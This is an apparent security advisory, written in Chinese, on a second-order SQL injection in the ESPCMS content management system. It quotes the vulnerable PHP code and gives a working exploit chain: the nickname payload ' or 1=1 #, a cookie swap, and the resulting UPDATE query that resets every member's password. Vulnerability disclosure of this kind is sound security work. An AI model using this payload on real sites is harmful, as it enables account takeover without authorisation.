### 简要描述:
espcms  二次注入一枚 
### 详细说明:
1:通过 $alias 二次注入来控制sql    
用户昵称 $alias  从数据库查询出来 未过滤 
interface/member.php
```
$db_sql = "SELECT * FROM $db_table WHERE $db_where";
			$rsMember = $this->db->fetch_first($db_sql);
			if (!$rsMember) {
			      ..................................................
                      $this->fun->setcookie('ecisp_member_info', $this->fun->eccode("$memberread[userid]|$memberread[alias]|$memberread[integral]|$memberread[mcid]|$memberread[email]|$memberread[lastip]|$ipadd|" . md5($_SERVER['HTTP_USER_AGENT']) . '|' . md5(admin_ClassURL), 'ENCODE', db_pscode));
```
//查询出来时 无  addcslashes  可造成二次注入    
虽然cookie 加密 无法逆向,但是已经可以通过控制  $alias  来生成 某些sql  进行注入 
2:$this->ec_member_username 注入   
public\class_connector.php  文件 中
  
```
$this->ec_member_username = $this->fun->eccode($this->fun->accept('ecisp_member_username', 'C'), 'DECODE', db_pscode);
```
 $this->ec_member_username   利用 1 来控制 sql  (无视  gpc ,无视单引号)
随便找到一个调用  $this->ec_member_username 的地方   
如  interface\membermain.php 文件中 修改密码处 
 
```
$db_where = "userid=$this->ec_member_username_id AND username='$this->ec_member_username' AND password='$oldpassword'";
			$db_sql = "SELECT * FROM $db_table WHERE $db_where";
		 
			$rsMember = $this->db->fetch_first($db_sql);
			 if (!$rsMember) {
				$linkURL = $this->mlink['memedit_password'];
				$this->callmessage($this->lng['password_input_err'], $linkURL, $this->lng['gobackbotton']);
			} else {
				$db_set = "password='$password'";
        $this->db->query('UPDATE ' . $db_table . ' SET ' . $db_set . ' WHERE ' . $db_where);
```
调用了 $this->ec_member_username  可以进行注入  
 3:注入利用 
  经过 1,2 分析  一次完整的注入攻击  
登录 => 编辑资料(写入注入 payload) =>退出 =>登录 =>设置cookie(ec_member_username =ecisp_member_info)=>  修改密码 => sql 注入  
比如我要修改 所有会员的密码    
[<img src="https://images.seebug.org/upload/201307/212206509f7370a1d78f25ce987fc8264872397c.jpg" alt="espcms_1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201307/212206509f7370a1d78f25ce987fc8264872397c.jpg)
编辑资料  昵称处填写   ' or 1=1 #   然后重新登录   修改cookie中  ec_member_username 的值为  ecisp_member_info的值 
[<img src="https://images.seebug.org/upload/201307/21220903a41167710d9204ffef9f8ae756ff74f7.jpg" alt="espcms_2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201307/21220903a41167710d9204ffef9f8ae756ff74f7.jpg)
新旧密码不要相同   此时的 sql 语句为:
```
UPDATE espcms_member SET password='99754106633f94d350db34d548d6091a' WHERE userid=1 AND username='1|' or 1=1 #|0|1|fuckss@163.com|2130706433|2130706433|fed0b5cf0dbbcab3431bf3bb8fe88349|1002de5fc95a1b716a2e04ab8d78bf76' AND password='1223b8c30a347321299611f873b449ad'
```
打完收工
 
### 漏洞证明:
如上 3  一系列xxoo 
sql 语句为 :
```
UPDATE espcms_member SET password='99754106633f94d350db34d548d6091a' WHERE userid=1 AND username='1|' or 1=1 #|0|1|fuckss@163.com|2130706433|2130706433|fed0b5cf0dbbcab3431bf3bb8fe88349|1002de5fc95a1b716a2e04ab8d78bf76' AND password='1223b8c30a347321299611f873b449ad'
```
即可中出  
 
                       
                       
        
          
暂无评论